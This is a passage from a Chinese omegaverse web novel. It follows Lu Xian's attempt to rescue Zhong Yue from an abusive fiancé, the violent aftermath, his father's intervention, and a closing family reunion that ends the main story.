她这副淡定从容的模样,让钟父又有些心虚:“卢夫人不要生气,这个……要不改天再来?” 要不是黎花拦着,卢羡早就冲上二楼,将钟悦带出来了。 离开钟家,卢羡心情显得犹为低落,黎花看得一阵心疼:“阿羡,这个事不要着急,妈妈会有办法的。” “妈,你先回去吧,我想自己走走。” “你……”黎花有些不放心他,但又无可奈何:“那好吧,有事记得给妈妈打电话。” 黎花开车去了卢家别墅,在这里住了几十年,虽然很熟悉,但依旧没有归属感。 看她回来,家里的保姆阿姨也没敢拦着,毕竟她现在也没和卢董离婚,还是得叫一声夫人。 黎自走进大厅,看到正在孤独用餐的卢佑铭,拉开椅子坐下,就这么盯着他用餐。 卢佑铭被她盯得不自在,放下了碗筷:“你有什么事就不能直说?” “阿羡的事情,你到底管不管?” “我不是已经让律师陪卢绛把人捞出来了?” “然后你就不管了?” 卢佑铭漱了漱口,一脸凝重,“我想管,但管得着吗?你也不看看你儿子那个臭脾气,他不是已经脱离了卢家?他挺有骨气,信用卡存款给他备的奢侈品一件不带走,自个儿打工租小屋子,哎呀,真是好骨气啊!” “呵,少在这儿阴阳怪气,还不是你这个做爸爸的不称职?你自己不好好反省,还怪儿子不认你?可笑!” 保姆拿了杯柠檬水给卢佑铭,他已经不喝参茶了,伤透了心了。 “你就让他先折腾着吧!” “卢佑铭,你到底什么意思?你这是不想管了呗?你可别忘了,我手里还有卢氏百分之十的股份,你不管咱们母子,到时候我把股份转卖给谁可就不一定了。” 卢佑铭长叹了口气,“我有说我不管吗?先让他认清这世间险恶,他才会回来低头!你不是想让他回来继承卢氏吗?好啊!我给他这个机会,那他呢?他自己有这个觉悟吗?还当自己挺有志气,简直愚蠢至极!” 黎花简直不敢相信自己听到的:“你说什么?” 卢佑铭:“这,不是你们一直想要的吗?我给你们,但你们能不能拿得住,得看你们自己。” “你会这么好心?” “我所做的这一切,都是为了卢氏,这群蛀虫不清除,卢氏迟早也会慢慢被吞噬,从今以后,你不用再胳膊肘往外拐,也不必拿我当仇人。” “那个女人的儿子呢?” “你就真对阿绛一点母子情份都没有?” 黎花愤恨的红着眼道:“没有,当我知道他是你偷偷换来的,我就恨他,也恨你!” 卢佑铭沉默了许久,沉重道:“那就让他们回归到自己原本该在的位置上,你能消几分恨吗?” 黎花紧抿着唇不语,态度却软了几分。 卢佑铭:“你听我的,先让阿羡去折腾,该出手时我会出手的,我卢佑铭的儿子,再怎么着,也轮不到别人来打压欺辱。” 黎花:“我就再信你最后一次。” * 卢羡从钟家出来,一直没走远,他租了辆摩托车守在了附近蹲点,直到第三晚,钟家人带着钟悦坐车离开了家。 他远远看到钟悦,才几天就憔悴了许多,看起来更加瘦弱了。 卢羡拉下挡风镜片,紧跟了上去。 车子上了高架桥,横贯了半个帝都,来到一处渡家山庄。 秦家老爷子今晚寿宴,钟家自然要来捧场。 今晚山庄被秦家给包场了,卢羡将车子停在墙根,他没有请贴进不去,于是他从后面翻墙进了宴会。 宴会来了许多人,有些面孔似曾相识,大概是在黎天耀的生日宴上见过,他戴着黑色口罩,黑色皮夹克,将自己藏在光影较暗的角落,仔细观察着。 宴会上他看到了秦昭,伤情鉴定七级,居然好得跟个没事人一样,穿得人模狗样在宴会里跟只交际的花蝴蝶似的,看着有几分手腕。 钟悦一直没露面,他到底在哪里? 卢羡不断安慰自己,不用着急,等会儿秦老致词,总会要露面的。 突然他看到钟瑾走到了秦昭身边,两人状似亲昵,消失在大厅。 卢羡悄悄跟了上去,来到了山庄的后花园里。 第一次见识到了钟瑾的茶言茶语。 “我真的不知道我哥到底有什么不满的,你明明对他那么好,他却不知道珍惜,要是换成我,我不知道得有多高兴。” 这句话将秦昭给激怒,气得脸色胀红:“他竟敢给我戴绿帽子,等我结了婚,看我怎么收拾他!” “有时候omega也确实该好好管教,我哥嘛,他小时候被人贩子拐过,没有教养,也不知从哪里学了一些粗鄙的习惯,现在回了家,是改不掉的。” 秦昭听着有点心烦:“行了,别说了,心里烦着!” “也不知道你看上我哥哪了,反正我瞧着,我哥哪哪都配不上你,他还洗过标记……” “你说什么?” “呃不是,我没说什么,你听错了。” 秦昭狠抽了口气,愤怒的扣过钟瑾的下巴:“你刚才说他洗过标记?他被别的alpha终身标记过?” 钟瑾一副柔弱模样,悄悄红了眼眶:“我也不知道,对不起啊昭哥,我不该说的。” 秦昭狠狠将他甩开,转身去找钟悦对质。 钟瑾得意一笑,钟悦要被揍了吧?哈哈,可惜不能看他被揍的样子。 他高兴地转身准备回大厅,却见一道高大的身影从角落朝他走来。 “他不是你哥吗?你竟然这样害他?” 钟瑾吓得连连退后,想逃跑喊人,可他哪跑得过卢羡,被他逮着扔进了一旁的喷泉水里,“进去好好洗洗脑子吧!” 钟瑾扑着水,冻得浑身直打哆嗦:“卢羡,你这个混蛋,我不会饶过你的!你给我等着!!” 卢羡顺着秦昭消失的方向追了上去。 此时秦昭气呼呼地推开了休息室的门,正在发作,却见钟悦闲适淡雅的坐在沙发上,拿着草稿纸画着什么。 暖橘色的光晕打在他身上,美好得如一副古世纪的高级油画。 秦昭呼吸一窒,又开始心神荡漾,“钟悦,你在这啊!” 钟悦仿佛没听到,连看也不想多看他一眼。 秦昭想,看在他长得这么漂亮的份上,不跟他计较。 “我听小瑾说你洗过标记?” 钟悦的画画的手顿住,没有一丝惊慌,而是大方承认道:“他说得没错,我是洗过标记。” 秦昭一脸大度:“其实我也不是很在乎,你长这么漂亮,那些alpha会觊觎你,很正常。以后你只要被我艹就好!” “他难道没说,我不是自愿把标记洗掉的吗?”钟悦抬眸厌恶的瞪向他:“秦少不必自做多情,我不需要你的任何包容和谅解,如果你没什么事,我想一个人呆着,请你出去。” 秦昭怒骂了声,冲上前扣过他的脖子,将他死死摁在沙发上,双眼布满了血丝:“你这个贱货!给你脸不要脸是吧?” “放开……”钟悦很快无法呼吸,直到脑部缺氧,眼前的视线越来越模糊。 迷蒙中有一道黑影闯了进来,‘砰’的一声巨响,秦昭颓然倒地。 卢羡给他后脑勺砸了一只大花瓶,还狠踹了他两脚。 钟悦以为自己是在做梦,是不是濒死前的幻觉,他又见到卢羡了。 “悦悦!”卢羡心疼的捧过他的脸,查看他脖子上一圈青紫的掐痕,愤恨的又给了秦昭两脚。 “阿羡……” “悦悦。”卢羡紧拥着他,眼眶泛酸,“我带你走。” “阿羡,你终于来了。”钟悦忍不住哽咽出声。 卢羡心中酸涩不己,觉得自己实在太没用了,好不容易找到他,却带给他的只是无尽的麻烦。 “对不起,来晚了。来,我背你。” 钟悦乖顺地任卢羡背着离开了休息室,晚风从面颊拂过,钟悦清醒了许多,刚才因缺氧脑子有些昏沉现在也终于好了。 “你放我下来,我自己能走的。” 卢羡本来想带着他试图从小门走,但他的出现,似乎已经引起了轰动,他必须带钟悦尽快离开这里。 “悦悦,我们只能翻墙了。” 钟悦点头,一脸坚定,虽然他从来没有翻过墙。 卢羡让他踩在自己肩上,送他先上墙,随后自己助跑利落就跃上了墙头,把钟悦给看呆了。 真不愧是alpha,爆发力实在太惊人了。 卢羡先跳了下去,再稳当的接住了钟悦。 此时庄园里已经乱了,秦钟两家调动了山庄今晚所有的保安出动,想将他堵在山庄里。 卢羡已经带着钟悦骑着摩托车迅速驶上公路。 快一点,再快点,远远逃离这里,他们就再也不回来。 寂静的公路尽头被黑暗吞噬,突然从远处闪着零星几点亮光,然近这几盏亮光快速朝他们逼近。 那是朝他们撞上来的几辆车! 察觉到不对,卢羡停下摩托车,想调转回头,然而后边也有车追了上来。 晚上十点半,他们被前后围堵在这前不着村,后不着店的公路中。 “阿羡,怎么办?” 从车里下来一群穿黑西装的保镖,朝他们逼近。 卢羡从摩托上取下一根棒球棍,来之前专门买了一根最结实打人最疼的,以防万一,没想到还真派上了用场。 “我拦着他们,有机会,你就跑,去找卢绛。” 钟悦摇头:“我不走,我要跟你在一起。” 卢羡:“你得走,你走了,我才有机会活着来见你。不然,咱两都得被他们弄死在这。” 卢羡将他严实护在身后,两拨人马气势汹汹。 “秦总说好好教训这小子一顿,但别把人给弄死了,怎么弄都行。” 卢羡冷笑了声:“那就看看谁先弄死谁!” 卢羡打架跟不要命似的,生猛得很,手里的棒球棍下手又狠又准,咔咔几下已经敲断了好几人的骨头。 但他也占不到什么上风,没一会儿身上全是伤,左手手腕骨折,右腿骨折,脑袋被挨了一下,血沿着额头往下淌,迷了双眼,看什么都带着一层淡淡的血红。 他拼了命地想护住钟悦,但结果发现,连自身难保,直到后背又吃了一棍子,他趴在地上许久,想爬起来继续抗争,却被死死压制在地上无法动弹。 “阿羡!!”钟悦想上前看看他如何了,但被人强制带进了车里。 卢羡再一次看着钟悦被他们带走,依旧什么都做不了。 他恨恨的一拳砸在地上,哀嚎了声,泪水混着血水淌了满脸。 “把他带回去。” 此时宴会已经结束,卢羡满身是伤被重新带回了庄园,室内的灯光很光,秦家人与钟家的人都在。 秦昭头上缠着厚厚的纱布,人坐在轮椅上,伤口经过初步处了。 见到卢羡整个人异常激动,委屈地嚎着:“爸!你替我杀了他!杀了他!!” 卢羡嘲讽一笑:“孬种,有本事单挑,找你爸算什么男人?” 秦父护子心切,上前卯足了劲给了卢羡一耳光,卢羡只觉耳朵里嗡嗡作响,一道血迹沿着耳窝淌了出来。 “真是个不知死活的小畜生!谁教你跑到别人的地盘来撒野的?嗯?” “cao,姓秦的你个老东西,你有种弄死我!”卢羡拼命挣扎起来,alpha力气很大,受了伤还能这么横,两个保镖都差点押不住他。 “你急什么?等会儿就把你跟omega一起沉海里去,你们不是想要在一起吗?我成全你们。” 秦昭小声道:“爸,我连钟悦的手还没牵到呢?” “你给我闭嘴,没用的东西!” “你敢动他!”卢羡勃然大怒。 “不听话的狗,留着又有什么用?你看看你自己,虽然也姓卢,但跟你弟弟截然不同的命。卢家但凡真看重你,怎么会任你流落在外,不管你死活?” 钟母朝卢羡翻了一个白眼:“别跟他啰嗦了,他敢那样对小瑾,就得付出代价!反正钟悦我们是管不了了,既然嫁你们秦家,就是你们秦家的人,怎么处置随你们的便。” “钟悦在哪?把他还给我,还给我!!”卢羡双眼全是血丝,只觉喉咙一阵腥甜,吐了一口血,刚才打架的时候内伤了,刚才情绪太激烈,造成了更多的毛细血管破裂。 “没点教养,吵死了,把他的嘴堵上,扔海里喂鱼去。”秦父摆了摆手,让保镖带走。 卢羡的嘴被堵上,才刚被那些人带出去,他身边的秘书送了手机过来。 “秦总,有您的来电。” “谁打来的?” “是海关缉私局那边。” 秦父正了正色,接了手机,听完电话一脸严肃,他立即给钟父打了一个电话。 那边也早已收到了通知。 “这次合作的十艘货船全部在海关被扣下,是什么情况?” “你问我,我也不知道啊!之前还好好的一点问题都没有。” “赶紧想办法,让他们放行!这扣一天的损失谁担得起?这事太不正常了,我联系那边的熟人打听一下情况。” 秦父慌张地挂断电话,正准备给海关那边的熟人打听是什么问题,突然又有一个陌生号码打了进来。 秦父心里一阵不安,谨慎地接了来电。 “秦总,你把我儿子弄哪去了?劳烦全须全尾的送回来吧。” “您,您是?” “我,卢佑铭。” 第0114章 第114章 ◎可是阿绛有的东西,你没有。◎ 秦父手机差点没抖掉, “卢,卢董?哈……令公子他,他刚才还这儿, 我这就把他找回来!” 没等卢佑铭再说什么, 秦父疯狂追了出去,一边给手下打电话, 让他们把人送回来。 还好车子没开太远, 秦父看着一脸是血的卢羡,艰难地咽了口唾沫。 “快, 快拿湿毛巾来, 要热的!” 秦父赔着笑,拿过湿毛巾给他擦着脸上的血,“卢少,您还痛吗?要是痛我现在送您去医院?” “你不是要把我扔海里喂鱼?”卢羡脱力的靠在面包车尾箱,一双眼满是血丝,冷冰冰地盯着眼前这个变脸堪比变色龙的中年男人。 “您说笑了,就是把我扔海里, 也不能把您扔那儿去啊!” “钟悦在哪?” “我马上给他们打电话,让他们把钟悦送过来!” 秦父转头赶紧叫手下给钟家那边打电话, 钟父听到是卢佑铭插手管了,立时便想明白了原由。 原来是这么回事! 秦家把他给害惨了!到底是从哪里听到的小道消息?早知道他应该和秦家解除联姻关系,把钟悦嫁给卢羡! 就这么错失了攀上卢家这条大腿,钟父简直痛心疾首,让人将钟悦带了回来。前后的态度变态堪称史诗级变脸, 前一秒还颐指气使, 这一秒差点没给他跪下。 “小悦……” “你又想耍什么花招?”虽然是父子, 但是钟悦对他已经没有任何期待与父子情义可言。 浑浑噩噩在钟家过了三年, 其实他早该离开了。 “你和卢羡,你们之间是从什么时候开始的?” “这与你无关。” “爸爸也是想关心你。” “爸爸?”钟悦嘲讽一笑,“别玷污这个词,你不配。” “你这孩子怎么说话的?你这几年吃钟家的喝钟家的,亏待了你不成?” 钟悦扭头看向一旁的继母,迎着他的视线继母心虚的别开了脸去。 “零花钱,我一分也没拿到过,这几年我是靠画画赚钱养活自己,你们钟家什么时候养了我?” 钟父顿时狂怒,瞪向一旁的女人:“小悦说的是不是真的?” “老公,你也知道小瑾用钱的地方也很多,所以……” “所以你这些年是一分钱也没给过小悦?” 见她不说话,钟父给了她一巴掌,其实他不是真的愤怒家里苛待了钟悦,他心里有数,只是不说,假装没有看到。 他气的是钟家最后一根救命的稻草也没了。 如果这三年善待钟悦,或许他还会念着最后一点情份,劝卢家的人手下留情。 钟悦看着眼前这滑稽的一幕,只觉得好笑,也不知道他们怎么突然就来了这么一出。 此时秦家那边又来电话催,钟父无能狂怒的摔了手机,把手下叫了进来,丧气道:“把钟悦送到秦家那边去,快点!” 钟悦挑眉,不知道他们卖的什么关子,卢羡还好吗?他是不是还在秦家? 想到这个,钟悦加快了步子。 “小悦!”钟父追了上来,挤出一个难堪的笑:“你要记着,我始终是你爸爸呀!” 钟悦给了他一个白眼,头也不回的上了车。 卢羡紧闭着双眼,唇色发白,强忍着身体的巨痛,蜷缩着身体,一直等到钟悦被他们送过来。 看到他安然无恙,他终于放心了,紧绷的一根弦,在这一瞬间断开。 “阿羡!”钟悦冲上前心疼地将他小心翼翼抱在怀里,哽咽道:“你怎么伤得这么重,是不是很疼?” 卢羡虚弱摇着头:“不疼,真的……我只是有些冷,很困,我想先睡一觉,等睡醒了,我带你走。” 钟悦的泪水不自觉涌出,“好,我等你。” 听到这句‘我等你’,卢羡才安然昏睡了过去。 钟悦擦掉了眼里的泪水,“为什么之前不送他去医院?” 秦父面对这控诉一阵心慌:“那是我们不送吗?是他自己不去呀,哎哟祖宗,这可怪不着我们,他非要等你过来,我们也没办法。” “你们快备车,尽快送他去医院,他流了好多血!”而且还是伤在头部,不知道要不要紧? 等到卢绛他们得到消息时,已经是早上七点半,连早餐都没吃便赶到了医院。 “我哥怎么样了?” 此时医生刚换插了管出来,一眼认出了是病人的家属,安慰道:“放心,已经脱离了生命危险,只要好好养伤,后面能恢复的。” 卢绛听到后才松了口气,吓死了,还好人没事。 他和景凉轻轻推开病房的门,看到病床前,钟悦红着眼睛呆坐在那里,像是破碎的水晶娃娃,一动不动的盯着床上依旧昏迷不醒的alpha。 卢绛又将门替他们悄悄关上,走到了楼梯口,靠碰上墙蹲下身低头默了许久。 “阿绛,别难过了,你应该替他们开心,以后再也没有什么能将他们分开。” 卢绛做了几次深呼吸,“他应该跟我说的,一个人怎么敌得过?” “他一个人习惯了……” “不是习惯了,”卢绛泪水涌出,“其实也算是一种习惯,我不知道你有没有那种……” 卢绛深吸了口气,才勉强说下去:“如果一个人总是得不到感情的回应,或者多次向外求救没有人会,就会慢慢放弃的……就会慢慢地放弃,再也不相信任何人,所以他什么也没有和我说,一个人就那样去了,他不相信我能帮他。” 景凉心疼地紧紧拥抱着他,“你也曾经这样?” “嗯……” “以后不会了,我会回应你,我会永远都在你身边,别怕。” “我现在已经不会害怕了。” 是的,他不怕了,黑夜再长也会天亮的。 他们回去时,黎花已经买了早餐回来,与卢绛碰了个正着,彼此又尴尬又仿佛被无形的刺扎疼。 没有打招呼,彼此擦身而过。 卢绛轻轻呼吸着,直到她走远,随后若无其事道:“凉哥,我们还是先回去吧,晚点再过来看他,这会儿病房也不合适呆太多人。” “好,听你的。”景凉紧牵过他的手,带着他走进了电梯间。 一大早得到消息过来,他们还没有早吃饭,确定卢羡没事,卢绛才觉得饿了。 要了四屉小笼包,他一个人吃了三屉,还喝了一碗粥。 “别吃太撑了,对胃不好。” “我能吃。” 景凉不由失笑,真可爱! * 晚上,卢佑铭给卢绛打了一通电话,语气淡淡的,“你哥怎么样了?” 卢绛生气道:“你要是真的关心,就自己去看!” 卢佑铭:“你这什么态度?我还关心错了?” “你关心没错,你什么错都没有!卢佑铭先生怎么会有错?” “臭小子,我是你爸!” “你还知道你是一个父亲?我知道人都有缺点,都不完美,可你当父亲能不能称职一点?你要孩子是为了公司,你对我们好也是为了有个继承人,你做人挺失败的!除了事业,你一无所有,当别人丈夫你没有道德,当一个父亲你没有责任心!就连当情人,你都没良心!” “你也知道我现在是你儿子,当儿子的教育老子合适吗?你就不能当好一天父亲的角色?哥都这样了,你还只是在乎自己的面子!要强了一辈子,你有赢过吗?” 那端死寂般的沉默,只有隐隐沉重的呼吸声,在卢绛耳边回荡。 随后,那边用力的挂断了电话,传来一阵盲音。 骂完卢佑铭,卢绛又有些懊恼丢开了手机,独自坐在沙发上默了许久。 直到景凉拿了杯花茶过来,“今晚睡觉前喝杯金银花茶吧。” “啊?” “你这一天大动肝火,消消气。” “我刚才说的是不是太过份了?他是个很要强的人……” “他这样的人,也就是你骂他两句还能听进去。”景凉一阵心疼:“你就是心太软了,替别人想得太多,你骂得没有错。” 卢绛喝着花杯,有甜味:“你放了糖?” “放了冰糖,不好喝?” “淡淡的甜味,还能接受。” 景凉认真的点点头:“那我下次泡点别的花茶给你喝。” 卢绛抱过景凉,脑袋埋进他的颈窝蹭着,惯用的撒娇习惯,景凉抬手揉着他的脑袋:“怎么又不开心了?” “没有不开心,是我太开心了,谢谢你一直在我身边,还对我这么好。” 景凉吻了吻他蓬松的发顶:“因为你足够好,你值得的。” 卢羡在医院住了一个星期的院,明天再做一个全部检查,要是没别的问题就能出院了。 这天护士刚给他换了药,门口走进来一个让人意外的身影。 卢羡吃着钟悦喂给他的汤圆,抬眸盯着他,却像在看一个陌生人,没有了之前的恨。 卢佑铭还拄着拐,行动不似从前那么灵便,他想了想,说道:“我们谈谈?” 卢羡没有急着回答他,吃了最后一个汤圆,才应道:“好,我也想跟你谈谈。” “那你们先聊,我出去买点水果。”钟悦冲卢羡露出一个微笑,转身离开了病房。 卢佑铭径自坐在了一旁的椅子上,艰涩地问了句:“今天感觉怎么样?” “你在关心我吗?” “……”卢佑铭别扭道:“客套问问而己。” 卢羡嘲讽一笑:“哦,挺好的,谢谢卢董的关心。” 一阵尴尬与沉默。 卢佑铭似乎在酝酿着什么,许久,才说了句:“你照顾好自己,那什么……是我对不起你,一心只想着争个输赢,却忘了我们是父子,不是对手,更不是敌人。” “你别想我叫你一声爸,你不够格!这辈子,都不可能。”卢羡给了他一个白眼。 卢佑铭紧抿着唇没说话。 “我现在不恨你,是因为你那天救了我和悦悦,我是真心的感谢你,所以我不恨你了,我现在只是没有办法原谅你。” “你回来,继承公司,你就把我当成是你的上司,你的老板,既然你不认我这个父亲,那咱们也不必做父子。” “是因为阿绛不愿意继承你这破公司吗?他不要的东西,那我也不要。” “可是阿绛有的东西,你没有。他现在已经不需要靠卢家的一切就能主宰自己的人生,你,还太弱了。不如我们给彼此十年时间,你拼命的努力一把,我会倾尽所有资源,助你一步一步向上走,等到那时,你有足够的本事能不依靠卢家自立更生,不被命运左右自己的人生,那到时你再离开,我既不会拦着,再也没有谁能拦得住你。” 【作者有话说】 正文明天应该能完结了。 会写番外 孩子们都在番外 原身和霍崔的番外也是补上。 第115章【正文完】 第115章 第115章 ◎正文完结◎ 如果是以前, 卢羡一个人摆烂也无所谓,等到活腻了,就找个没有人的深山野岭往那一躺, 静静等着死亡到来。 可是现在他想好好活下去, 和桃花一起。 他们还年轻,未来的路还很长, 就预示着他们还有很长很长的时间可以去创造属于他们的幸福。 他舍不得放弃唾手可得的幸福与希望。 明明那么长的黑暗已经走过来了, 没有道现在放弃挣扎。 “你想得到什么?” “我需要一个合格的继承人。” “我们这算是交易?” “你可以把它当作交易,我说了, 你不想认我这个父亲, 也不必拿我当父亲对待,我只认强者,如果你努力了之后还是不及格,依旧会被淘汰出局。” 当然,这并不是卢佑铭想看到的,培养一个合格的继承人需要漫长的时间和顶级的资源,卢绛是已经完全放飞, 确定不会回卢氏集团了。 他希望卢羡不会再让他失望。 卢羡没有考虑太久,事实上这笔交易不管结果如何, 都是他占便宜。 卢佑铭或许是怀了些愧疚在里面的,也或许他现在没有更好的选择,如果有更好的人选,不一定是他。 但总的来说,也算是互惠互利。 “好, 我答应你。” 卢佑铭心下一喜, 差点显露在脸上, 又很快敛回了那丝愉悦, 一脸严肃道:“那你就先养着伤,一切等到年后,再做安排。” “卢董慢走,不送。”卢羡挥着手,送客的态度十分敷衍。 卢佑铭出来时,在走廊里看到站在一旁等待的钟悦。 钟悦十分礼貌地上前打了声招呼:“卢叔叔。” 卢佑铭打量着他,书卷气息很浓,眼神很清澈,看似柔弱骨子里却透着一股子坚韧,与卢羡倒是配的。 “嗯,你好,你叫……” “我叫钟悦。” “钟悦?”卢佑铭又问了句:“钟别远是你父亲?” “是的。” 卢佑铭若有所思地点了点头,往前走到了电梯口。 钟悦似是想到会么,回头说道:“卢叔叔,我已经离开了钟家,你想怎么对付钟家,以后都跟我没关系。” 卢佑铭又回头看了眼这孩子,眼里有着掩不去的恨意,这样的眼神忽然让他想到卢羡,那时候他是真的想让他死。 电梯门开了,卢佑铭迈入电梯前,对他说了句:“你和阿羡,要好好的。” 钟悦张着嘴想说什么,电梯门已经合上。 他重新回了病房,看到卢羡正在拿手机回复信息,“你(爸)……那个卢董他说,让我和你要好好的。” “嗯,老东西总算说了句中听的话。” “你的胳膊受伤了,别总玩手机。” 卢羡抿唇偷笑,“嗯,我回几个信息。” “是很重要的信息?”钟悦现在对他所有的一切都好奇,也想知道他身边有哪些朋友,过着怎样的生活。 “我之前打了好份工,已经好几天没去了,刚开机他们在问我,我得回他们给个交待。” “你打好几份工?”钟悦震惊中。 “是啊,”卢羡怕他想歪了,又补道:“我不是缺钱,我只是不知道闲下来该做什么,而且工作的时候有同事陪着,就不会太无聊。” “那你以后还要去打这么多工吗?” “嗯……或许吧。”卢羡逗着他,“我这样的alpha没正经工作也没学历,不打多份工,怎么养老婆呀?” “我可以养你!”钟悦脱口而出,脸色胀红,“我这两年靠画画赚了一些钱,虽然不是大富大贵,但能让你过得轻松一点。” 卢羡瞪大了双眼:“你会画画?” “嗯,算是一个天赋吧,我从小就爱画画,后来回来之后,就考进了美院继续学习。” 这么一对比,卢羡发现自己还真是一无是处,根本就配不上钟悦。 “你真的好厉害。”卢羡用着崇拜的眼神看着钟悦。 钟悦被他夸得更加不好意思:“没有你想的那么厉害。” “我也会努力的。”卢羡现在满满的动力,“做一个能配得上你的alpha。” “阿羡……”钟悦红了眼眶,心疼的轻抚着他的脸颊:“我不在乎这个,你就是你,我只想和你在一起,而且,你很好,谁说你配不上了?” 两人紧紧相拥一起诉说着未来的规划与分开这些的经历,并没有因为重新换了身份而有隔阂,这样的交心与了解,让他们的感情更加笃定而深刻。 * 卢羡出院的那天,景凉请了假在家里,与卢绛商量了很久,让母亲带了小小一起来吃个饭。 卢绛开车去接他们两,卢羡现在虽然出院,但手和腿上都打着石膏,需要坐轮椅。 开车回去的路上,卢羡接到了黎花打来的电话,她说想过来接他去公寓那边养伤。 卢羡如今对她并没有之前那么无所谓和抗拒,他所受的苦与黎花无关,况且,她也是受伤者。 自从他回卢家,黎花一直想努力的当好一个妈妈。 “我去阿绛家里了,过几天我带悦悦过来看你。” 黎花原本十分失落,听到他会带钟悦过来看自己,立时又高兴了:“好,哪天过来你提前告诉我一声,妈妈给你们准备好吃的。” 卢羡失笑:“嗯,知道了。” “那你们去吧,好好养伤。” 挂断电话,卢羡悄悄打量了卢绛一眼,发现他似乎不为所动。 黎花对卢绛做的事情,他都知道,这也是他不敢和卢绛面前与黎花表现得太过亲密,不敢走太近的原因。 卢绛调了下后视镜,与卢羡的视线撞上,笑道:“哥,你别多想,我们也算扯平了。” 卢佑铭一开始就在偏心他,想拿卢羡当他的磨刀石,结果失败了。 而黎花一直是偏心卢羡的,他占了卢羡的身份与资源这么久,如今各自回归原本的生活和身份,也算是圆了吧? 卢羡深吸了口气,严肃道:“不管他们如何,我们做一辈子好兄弟。” 卢绛失笑:“好!” 快到家时,卢绛斟酌了许久,才说道:“今天两个你们没见过的客人,一个是凉哥的妈妈,还有一个……差不多四岁的小姑娘,是个omega,她叫小小。” 提到小小时,卢绛的声音都忍不住在颤抖,如果他们知道小小是他们的孩子,会接受吗? 在那样的情况下,连自己都是孩子,却生下了小小。 当时那个医生没有说实话,歪曲了很多,也隐瞒了很多,他当时其实也能猜到医生不会尽然全说的,或许他知道另外那两个孩子的下落。 如果还活着的话,是五岁还是四岁?卢绛脑子里想了许多乱七八遭的,回过神时,车子已经停在了院子。 钟悦有些紧张:“我不知道今天有小朋友,没有带礼物。” 卢绛笑道:“没关系的,她是个很好的孩子,绝对不会怪你没有带礼物。” 说着,卢绛先下了车,把折叠轮椅搬了下来,和钟悦一起扶着卢羡下了车。 没走几步,一只普通的小猫从他们眼前窜过,小小为了追猫咪直愣愣的撞在了钟悦身上,慌乱中,钟悦抓住了她的衣领,才没让她摔个四脚朝天。 小小瞪大了黑葡萄似的眼睛,叫了声:“天使哥哥。” 钟悦失笑:“为什么是天使哥哥?” 小小:“奶奶买的童话书里,画的天使也这么漂亮,天使哥哥,你有翅膀吗?” “我没有翅膀。” “我有翅膀。” “真的?” “我有蝴蝶翅膀还有小鸟翅膀,都是奶奶给我买的。” 钟悦忍不住想要抱她,实在太可爱了! “那哥哥抱你进去好不好?” “好呀,我喜欢你,漂亮哥哥。” 钟悦笑着将小小抱了起来。 卢绛看到卢羡一直在看着小小笑,问他:“小小可爱吧?” “嗯,是挺可爱的,哪捡来的?” “你怎么知道是捡来的?” “废话!你跟景总什么时候生的这么大个孩子?” 卢绛一脸窘迫:“我和凉哥,还不着急要孩子。” “啊~我懂,你们这种事业心极重的,三十岁再考虑也不迟的。” 景妈正在厨房和阿姨做午饭,景凉本想打下手,被景妈给打了出去:“哎呀,你去陪小绛,你不要再进厨房啦!尽帮了倒忙!” “我不是……”景凉还想说什么,厨房的门被用力关上,“妈,你开门哪!” 尴尬。 “凉哥,我们回来了。” “回来啦!”景凉正要上前去抱卢绛,卢绛一脸惊慌。 “凉哥,你手里还拿着刀呢!”那刀上还沾着血,一脸高兴的往他这边冲过来,怪吓人的。 “呃,我刚才准备帮忙剔鱼骨来着。稍等,你们坐,我先去洗个手。”说着赶紧将刀收了回来,放到了小孩拿不到的地方,又回洗手间洗了手。 卢绛跟着来到了洗手间,顺势悄悄锁上了门。 景凉正在挤洗手液,抬头看了眼镜子里的人,笑道:“你去招待客人啊,跟我进来做什么?” 卢绛双手撑在盥洗台上,将景凉整个圈在了胸前,与他沾满洗手液的手紧扣在一起,“他们一家人呆得好好的,我去凑什么热闹?” “别……”景凉滑溜的手挣开又被他捉了回去,扣在了一起。 两人洗个手,玩了半小时。 “啧,你别闹了!”景凉一脸严肃将他唬住,关掉了手笼头:“我们这么久不出去,他们还以为我们在里面做奇怪的事情。” “我们本来就是在做奇怪的事情。” “……” 景凉无奈:“你真是,学坏了!” 卢绛抿唇憋着笑,将他转过了身来,将他抵在盥洗台前,低头去吻他的唇。 面对卢绛,景凉总是无底线的溺爱与放纵,好在他的alpha知道底线在哪,见好就收,从来没有因此闹不愉快。 气氛渐好,彼此信息素交融,差点失了方寸,卢绛气息凌乱粗重,吻了下他柔凉冰冷的耳垂,“想要。” 景凉将失控的信息素收回,白皙的脸上浮现一层薄红,推了他一把:“你控制一下你自己。” “你先出去,我冷静一下。” 景凉看着他鼓起来的大包,玩味地拧了下他的下巴,了下凌乱的衣服,将他一个人丢在了洗手间出去了。 当看到客厅里的一幕时,景凉不由得感叹,有时候血缘真是个很神奇的东西。 只见钟悦正带着小小正在教他画画,小小拿着彩笔填颜色,卢羡趴在案上看着他两合作猜着他们在画什么。 景凉拿出手机给他们顺手拍了几张照片,卢羡抬头看向他,景凉扬了扬手机:“不介意吧?介意的话我删了。” “我想看看。” “当然,给。”景凉将手机递给了卢羡,照片拍得还不错,有点水平,“挺好的,能发我吗?” “可以,我先添加你为好友。”景凉将他们两都添加了好友,将照片发了过去。 钟悦看到照片,夸赞道:“凉哥,你拍照技术真好。” “我以前拍照枝术很烂的,后来请教了卢大摄影师,学了很多有用的小技巧。” 于是三人又开始讨教拍照技术,气氛十分愉快,还互相给彼此拍了很多有意思的照片。 “来来来,准备吃饭啦!”景妈一脸期待:“我可是拿出了我的绝活,今天保证让你们心服口服!” 景妈对做中式菜系深有研究,色香味俱全,可媲美五星级顶厨。 几人在餐桌上吃得十分开心,景妈一个劲的劝他们多吃的,特别钟爱给钟悦夹菜:“小悦太瘦了,要多吃点。” 钟悦都要不好意思,“谢谢阿姨,已经在吃了。” 景妈扭头又想夹点菜给卢绛,看他吃的量一个顶两,比较省心才开始专注自己的儿子。 景凉头皮发麻,为了逃避妈妈爱的投喂,转移了话题:“妈,有时间我一定要跟你学做菜。” 景妈一脸嫌弃:“你别来,你每回一进来就要把我的厨房给糟蹋了,我看小绛比你更适合继承我的好手艺。” 卢绛傻笑了下,继续埋头猛吃。 到了晚上,钟悦与景凉开车去超市买食材,卢家兄弟在院子里看孩子。 小小刚接回来的时候,性格十分内向,为了治愈她,卢绛将咪咪送了过去,有了小猫咪,小小的性格也渐渐活泼开朗,再加上景妈的照顾,爱使人长出新的血肉。 “哥,你有没有想过以后要个孩子?” “不想,哦对了……” “啊?” “我打算去做绝育手术。” 